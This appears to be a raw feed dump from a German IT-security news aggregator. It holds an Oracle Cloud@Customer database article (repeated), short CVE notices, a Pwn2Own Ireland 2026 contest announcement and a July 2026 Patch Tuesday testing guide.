The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a full Exadata rack, said Amit Chandak, chief analytics officer at IT consulting firm Kanerika.

In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.

Deployment and maintenance becomes easier too, said Michael Leone, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”

The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.

Private AI behind the firewall

Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.

“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.

More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said Igor Ikonnikov, advisory fellow at Info-Tech Research Group.

Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.

The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst Noel Yuhanna. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”

Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”

Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.

However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.

Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”

The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.

Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.

This article first appeared on CIO.

]]> <![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]> https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/ https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/ Wed, 22 Jul 2026 19:49:12 +0200 📰 IT Nachrichten tsecurity.de

Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.

The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.

The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.

For regulated industries or restricted connectivity

Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.

These enterprises, according to Ashish Chaturvedi, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.

The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a full Exadata rack, said Amit Chandak, chief analytics officer at IT consulting firm Kanerika.

In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.

Deployment and maintenance becomes easier too, said Michael Leone, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”

The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.

Private AI behind the firewall

Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.

“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.

More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said Igor Ikonnikov, advisory fellow at Info-Tech Research Group.

Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.

The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst Noel Yuhanna. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”

Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”

Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.

However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.

Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”

The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.

Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.

]]> <![CDATA[A bizarre new malware campaign hacks your printer and forces it to print out ransomware demands]]> https://tsecurity.de/de/3687132/it-nachrichten/a-bizarre-new-malware-campaign-hacks-your-printer-and-forces-it-to-print-out-ransomware-demands/ https://tsecurity.de/de/3687132/it-nachrichten/a-bizarre-new-malware-campaign-hacks-your-printer-and-forces-it-to-print-out-ransomware-demands/ Wed, 22 Jul 2026 19:18:46 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[LG To Ban Residential Proxies From Smart TV Apps]]> https://tsecurity.de/de/3686990/it-security-nachrichten/lg-to-ban-residential-proxies-from-smart-tv-apps/ https://tsecurity.de/de/3686990/it-security-nachrichten/lg-to-ban-residential-proxies-from-smart-tv-apps/ Wed, 22 Jul 2026 18:20:32 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[CVE-2026-56844 | Veeam Software Appliance up to 13.0.1 Updater Local Privilege Escalation (EUVD-2026-47595)]]> https://tsecurity.de/de/3685647/sicherheitsluecken/cve-2026-56844-veeam-software-appliance-up-to-1301-updater-local-privilege-escalation-euvd-2026-47595/ https://tsecurity.de/de/3685647/sicherheitsluecken/cve-2026-56844-veeam-software-appliance-up-to-1301-updater-local-privilege-escalation-euvd-2026-47595/ Wed, 22 Jul 2026 10:31:30 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de very critical has been found in Veeam Software Appliance up to 13.0.1. Impacted is an unknown function of the component Updater. This manipulation causes Local Privilege Escalation. This vulnerability is registered as CVE-2026-56844. The attack needs to be launched locally. No exploit is available.]]> <![CDATA[LG to Ban Residential Proxies from Smart TV Apps]]> https://tsecurity.de/de/3685105/it-security-nachrichten/lg-to-ban-residential-proxies-from-smart-tv-apps/ https://tsecurity.de/de/3685105/it-security-nachrichten/lg-to-ban-residential-proxies-from-smart-tv-apps/ Wed, 22 Jul 2026 04:09:50 +0200 📰 IT Security Nachrichten tsecurity.de The home appliance giant LG Electronics USA said this week it plans to suspend any apps built for its smart TVs that turn one’s television into an always-on residential proxy node. The move comes less than a month after researchers


Read more →

The post LG to Ban Residential Proxies from Smart TV Apps appeared first on IT Security News.

]]> <![CDATA[LG to Ban Residential Proxies from Smart TV Apps]]> https://tsecurity.de/de/3685085/it-security-nachrichten/lg-to-ban-residential-proxies-from-smart-tv-apps/ https://tsecurity.de/de/3685085/it-security-nachrichten/lg-to-ban-residential-proxies-from-smart-tv-apps/ Wed, 22 Jul 2026 03:25:24 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Pwn2Own Ireland 2026 – New Targets and Categories]]> https://tsecurity.de/de/3684491/it-security-nachrichten/pwn2own-ireland-2026-new-targets-and-categories/ https://tsecurity.de/de/3684491/it-security-nachrichten/pwn2own-ireland-2026-new-targets-and-categories/ Tue, 21 Jul 2026 19:45:03 +0200 📰 IT Security Nachrichten tsecurity.de If you just want to read the rules, you can find them here.

 

Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).

As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at pwn2own@trendmicro.com (note the address). We will be happy to address your issues or concerns directly.

Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules thoroughly to ensure you meet all the requirements.

Now on to this year’s target categories. We’ll have seven different categories for this year’s event:


-- Mobile Phones
-- Smart Home Devices
-- Wellness
-- Printers
-- Messaging
-- AI Infrastructure
-- AI Coding Agents

Let’s take a look at each category in more detail, starting with mobile phones.

The Target Phones

Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.

Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:

Back to top

Smart Home Devices

As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

Back to top

Wellness Category

This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

Back to top

Rage Against the Printers

Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets.

Back to top

The Messaging Category

We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:

Back to top

AI Infrastructure Category

We introduced these targets at Pwn2Own Berlin, and we saw such
uh
enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:

Back to top

AI Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

Back to top

Master of Pwn

No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2027).

For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.

The Complete Details

The full set of rules for Pwn2Own Ireland 2026 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.

Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.

The Results

We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at @thezdi and @trendaisecurity, and keep an eye on the #P2OIreland hashtag for continuing coverage.

We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.

 

©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

]]> <![CDATA[Ill-fated Companion Cube case for Steam Machine returns as a 3D-printed effort — and it's not the only striking DIY project around Valve's gaming PC]]> https://tsecurity.de/de/3683686/it-nachrichten/ill-fated-companion-cube-case-for-steam-machine-returns-as-a-3d-printed-effort-and-its-not-the-only-striking-diy-project-around-valves-gaming-pc/ https://tsecurity.de/de/3683686/it-nachrichten/ill-fated-companion-cube-case-for-steam-machine-returns-as-a-3d-printed-effort-and-its-not-the-only-striking-diy-project-around-valves-gaming-pc/ Tue, 21 Jul 2026 14:33:13 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[HP’s Smart Tank 5101 drops to $170 for back-to-school — and includes 2 years of ink free in the box]]> https://tsecurity.de/de/3683685/it-nachrichten/hps-smart-tank-5101-drops-to-170-for-back-to-school-and-includes-2-years-of-ink-free-in-the-box/ https://tsecurity.de/de/3683685/it-nachrichten/hps-smart-tank-5101-drops-to-170-for-back-to-school-and-includes-2-years-of-ink-free-in-the-box/ Tue, 21 Jul 2026 14:33:12 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[USN-8574-1: Linux kernel (GCP FIPS) vulnerabilities]]> https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/ https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/ Tue, 21 Jul 2026 12:16:02 +0200 🐧 Unix Server tsecurity.de <![CDATA[How to Change the Toner Cartridge in HP LaserJet Pro MFP M126nw]]> https://tsecurity.de/de/3682649/it-security-nachrichten/how-to-change-the-toner-cartridge-in-hp-laserjet-pro-mfp-m126nw/ https://tsecurity.de/de/3682649/it-security-nachrichten/how-to-change-the-toner-cartridge-in-hp-laserjet-pro-mfp-m126nw/ Tue, 21 Jul 2026 06:54:32 +0200 📰 IT Security Nachrichten tsecurity.de Key TakeawaysTo change the toner cartridge in an HP LaserJet Pro MFP M126nw, first lift the scanner assembly, open the top cover, remove the old cartridge, and carefully replace it with a new cartridge by aligning it with the printer's guides. Ensure all protective packaging is removed before installation.Always check the exact cartridge number before [
]

The post How to Change the Toner Cartridge in HP LaserJet Pro MFP M126nw appeared first on iTech Hacks.

]]> <![CDATA[Apple Releases iOS 27 Beta 4: What’s New and How to Install]]> https://tsecurity.de/de/3682234/ios-mac-os/apple-releases-ios-27-beta-4-whats-new-and-how-to-install/ https://tsecurity.de/de/3682234/ios-mac-os/apple-releases-ios-27-beta-4-whats-new-and-how-to-install/ Mon, 20 Jul 2026 23:47:15 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[USN-8569-1: Linux kernel (HWE) vulnerabilities]]> https://tsecurity.de/de/3681610/unix-server/usn-8569-1-linux-kernel-hwe-vulnerabilities/ https://tsecurity.de/de/3681610/unix-server/usn-8569-1-linux-kernel-hwe-vulnerabilities/ Mon, 20 Jul 2026 18:18:40 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8567-1: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3681567/unix-server/usn-8567-1-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3681567/unix-server/usn-8567-1-linux-kernel-vulnerabilities/ Mon, 20 Jul 2026 17:46:49 +0200 🐧 Unix Server tsecurity.de <![CDATA[Nine Foods I’ll Never Make in the Oven Again Now That I Have an Air Fryer]]> https://tsecurity.de/de/3680891/it-nachrichten/nine-foods-ill-never-make-in-the-oven-again-now-that-i-have-an-air-fryer/ https://tsecurity.de/de/3680891/it-nachrichten/nine-foods-ill-never-make-in-the-oven-again-now-that-i-have-an-air-fryer/ Mon, 20 Jul 2026 12:48:16 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Nine Foods I'll Never Make in the Oven Again Now That I Have an Air Fryer]]> https://tsecurity.de/de/3679623/it-nachrichten/nine-foods-ill-never-make-in-the-oven-again-now-that-i-have-an-air-fryer/ https://tsecurity.de/de/3679623/it-nachrichten/nine-foods-ill-never-make-in-the-oven-again-now-that-i-have-an-air-fryer/ Sun, 19 Jul 2026 16:47:33 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[CVE-2026-49166 | Microsoft Windows 11 24H2/11 25H2/11 26H1/Server 2025 Printer Driver use after free]]> https://tsecurity.de/de/3678992/sicherheitsluecken/cve-2026-49166-microsoft-windows-11-24h211-25h211-26h1server-2025-printer-driver-use-after-free/ https://tsecurity.de/de/3678992/sicherheitsluecken/cve-2026-49166-microsoft-windows-11-24h211-25h211-26h1server-2025-printer-driver-use-after-free/ Sun, 19 Jul 2026 08:38:37 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic has been detected in Microsoft Windows 11 24H2/11 25H2/11 26H1/Server 2025. Affected by this issue is some unknown functionality of the component Printer Driver. The manipulation leads to use after free. This vulnerability is documented as CVE-2026-49166. The attack needs to be performed locally. There is not any exploit available.]]> <![CDATA[Combi Boilers Suck, My Plumbing Pipe Dream (emf2026)]]> https://tsecurity.de/de/3678291/it-security-video/combi-boilers-suck-my-plumbing-pipe-dream-emf2026/ https://tsecurity.de/de/3678291/it-security-video/combi-boilers-suck-my-plumbing-pipe-dream-emf2026/ Sat, 18 Jul 2026 18:48:38 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[I’ve Never Used a 3D Printer Before. Is This One for Kids as Easy to Use as It Claims?]]> https://tsecurity.de/de/3678182/it-nachrichten/ive-never-used-a-3d-printer-before-is-this-one-for-kids-as-easy-to-use-as-it-claims/ https://tsecurity.de/de/3678182/it-nachrichten/ive-never-used-a-3d-printer-before-is-this-one-for-kids-as-easy-to-use-as-it-claims/ Sat, 18 Jul 2026 17:17:46 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[The Ship in a Bottle: Printing a Hermetically Sealed Sea Scooter in One Go (emf2026)]]> https://tsecurity.de/de/3678096/it-security-video/the-ship-in-a-bottle-printing-a-hermetically-sealed-sea-scooter-in-one-go-emf2026/ https://tsecurity.de/de/3678096/it-security-video/the-ship-in-a-bottle-printing-a-hermetically-sealed-sea-scooter-in-one-go-emf2026/ Sat, 18 Jul 2026 15:48:28 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA['Superb for most home uses in an emergency': Jackery HomePower 3000 combines a huge 3,072Wh battery with enough power to run almost every appliance — and it's on sale right now]]> https://tsecurity.de/de/3677050/it-nachrichten/superb-for-most-home-uses-in-an-emergency-jackery-homepower-3000-combines-a-huge-3072wh-battery-with-enough-power-to-run-almost-every-appliance-and-its-on-sale-right-now/ https://tsecurity.de/de/3677050/it-nachrichten/superb-for-most-home-uses-in-an-emergency-jackery-homepower-3000-combines-a-huge-3072wh-battery-with-enough-power-to-run-almost-every-appliance-and-its-on-sale-right-now/ Fri, 17 Jul 2026 23:16:33 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[I replaced my space heater and ceiling fan with one Dyson appliance]]> https://tsecurity.de/de/3676769/it-nachrichten/i-replaced-my-space-heater-and-ceiling-fan-with-one-dyson-appliance/ https://tsecurity.de/de/3676769/it-nachrichten/i-replaced-my-space-heater-and-ceiling-fan-with-one-dyson-appliance/ Fri, 17 Jul 2026 20:02:57 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]> https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/ https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/ Fri, 17 Jul 2026 18:08:18 +0200 📰 IT Nachrichten tsecurity.de

Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Services (CVE-2026-56155), and an elevation of privilege in SharePoint Server (CVE-2026-56164). A third, a BitLocker security feature bypass (CVE-2026-50661) is publicly disclosed but not yet exploited.

The July 2026 Patch Tuesday earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy infographic of the expected risk profile of this month’s Patch Tuesday updates.

Known issues

The July release note flags known issues against the following updates:

  • BitLocker recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and Secure Boot State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (CVE-2026-50661) keeps the component in focus.
  • WSUS synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability CVE-2025-59287. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.

Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the Hardware Dev Center). The two-part HWID pilot runs to September 2026.

Major revisions and mitigations

Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.

Windows lifecycle and enforcement updates

This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. SharePoint and SQL Server take some of their most active security updates ever on platforms receiving their last.

  • SharePoint Server 2016 and 2019, Project Server 2016 and 2019, SQL Server 2016 and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.

The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under CVE-2023-24932 can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. Kerberos RC4 hardening (CVE-2026-20833) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.

Microsoft’s July 2026 Patch Tuesday is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the Print Spooler, four win32k entries, and two GDI+ metafile entries. NTFS is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.

Printing and graphics (high risk)

The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.

  • Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change
  • Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes
  • Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF
  • Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows

Storage and file systems (high risk)

Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, BitLocker, and ReFS demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.

  • Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active
  • Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work
  • Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination
  • On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported

Devices, input and networking (high risk)

Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.

  • Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL
  • Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep
  • Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles
  • Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), DHCP Server (five entries), SMB, NFS, Message Queuing (five entries), RRAS administration, client VPN, and WinHTTP/WinINet consumers

Other windows components

Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. Hyper-V wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.

Shell hardening and LSA isolation

These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.

  • Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the Mark of the Web into a folder and confirm the system refuses to extract its icon and leaks no NTLM credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything
  • LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on Virtualization-based Security if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7
  • Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking

Office & SharePoint

July’s Office wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so Click-to-Run estates can sit this one out.

  • On MSI Office 2016, apply the client updates – Excel (KB5002886), Word (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (KB5002273, KB5002887, KB5002748, KB5002857, KB5002830) – then exercise macros, external data, embedded objects, and any line-of-business add-ins
